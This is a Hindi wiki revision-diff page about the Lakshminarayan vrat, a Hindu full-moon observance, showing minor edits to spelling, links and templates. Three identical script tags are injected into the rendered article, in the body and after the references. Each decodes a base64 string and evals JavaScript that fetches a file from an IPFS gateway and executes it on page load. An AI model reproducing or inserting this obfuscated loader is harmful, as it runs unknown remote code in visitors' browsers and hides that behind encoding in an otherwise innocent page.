"लक्ष्मीनारायण व्रत" के अवतरणों में अंतर  

[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
छो (लक्ष्मीनारायणव्रत का नाम बदलकर लक्ष्मीनारायण व्रत कर दिया गया है)
छो (Text replace - ")</ref" to "</ref")
 

(४ सदस्यों द्वारा किये गये बीच के ७ अवतरण नहीं दर्शाए गए)

पंक्ति १: पंक्ति १:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
+
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
 
*[[फाल्गुन]] [[पूर्णिमा]] पर लक्ष्मीनारायण व्रत किया जाता है।
 
*[[फाल्गुन]] [[पूर्णिमा]] पर लक्ष्मीनारायण व्रत किया जाता है।
 
*लक्ष्मीनारायणव्रत तिथि; वर्ष भर प्रत्येक पूर्णिमा पर, वर्ष को चार मासों के तीन भागों में बाँटकर किया जाता है।
 
*लक्ष्मीनारायणव्रत तिथि; वर्ष भर प्रत्येक पूर्णिमा पर, वर्ष को चार मासों के तीन भागों में बाँटकर किया जाता है।
*[[आषाढ़]] से आगे चार मासों में [[श्रीधर]] एवं श्री के नामों का प्रयोग, [[कार्तिका]] को लेकर चार मासों में [[केशव (कृष्ण)|केशव]] एवं भूति के नामों का प्रयोग करना चाहिए।
+
*[[आषाढ़]] से आगे चार मासों में [[श्रीधर]] एवं श्री के नामों का प्रयोग, [[कृत्तिका नक्षत्र|कार्तिका]] को लेकर चार मासों में [[केशव (कृष्ण)|केशव]] एवं भूति के नामों का प्रयोग करना चाहिए।
 
*रात्रि में प्रत्येक 15 पर चन्द्र को अर्ध्य देना चाहिए।
 
*रात्रि में प्रत्येक 15 पर चन्द्र को अर्ध्य देना चाहिए।
*देह शद्धि के लिए प्रत्येक अवधि में विभिन्न पदार्थों का प्रयोग, यथा–पंचगव्य, कुश जल, सूर्य किरण से तप्त जल करना चाहिए। <ref>हेमाद्रि (व्रत खण्ड 2, 664-666, विष्णुधर्मोत्तरपुराण से उद्धरण)</ref>  
+
*देह शद्धि के लिए प्रत्येक अवधि में विभिन्न पदार्थों का प्रयोग, यथा–पंचगव्य, कुश जल, सूर्य किरण से तप्त जल करना चाहिए।<ref>हेमाद्रि (व्रत खण्ड 2, 664-666, विष्णुधर्मोत्तरपुराण से उद्धरण</ref>  
{{लेख प्रगति
+
{{संदर्भ ग्रंथ}}
|आधार=आधार1
 
|प्रारम्भिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==संबंधित लिंक==
+
==संबंधित लेख==
 
{{पर्व और त्योहार}}
 
{{पर्व और त्योहार}}
 
{{व्रत और उत्सव}}
 
{{व्रत और उत्सव}}

१२:५९, २७ जुलाई २०११ के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • फाल्गुन पूर्णिमा पर लक्ष्मीनारायण व्रत किया जाता है।
  • लक्ष्मीनारायणव्रत तिथि; वर्ष भर प्रत्येक पूर्णिमा पर, वर्ष को चार मासों के तीन भागों में बाँटकर किया जाता है।
  • आषाढ़ से आगे चार मासों में श्रीधर एवं श्री के नामों का प्रयोग, कार्तिका को लेकर चार मासों में केशव एवं भूति के नामों का प्रयोग करना चाहिए।
  • रात्रि में प्रत्येक 15 पर चन्द्र को अर्ध्य देना चाहिए।
  • देह शद्धि के लिए प्रत्येक अवधि में विभिन्न पदार्थों का प्रयोग, यथा–पंचगव्य, कुश जल, सूर्य किरण से तप्त जल करना चाहिए।[१]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 2, 664-666, विष्णुधर्मोत्तरपुराण से उद्धरण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=लक्ष्मीनारायण_व्रत&oldid=189329" से लिया गया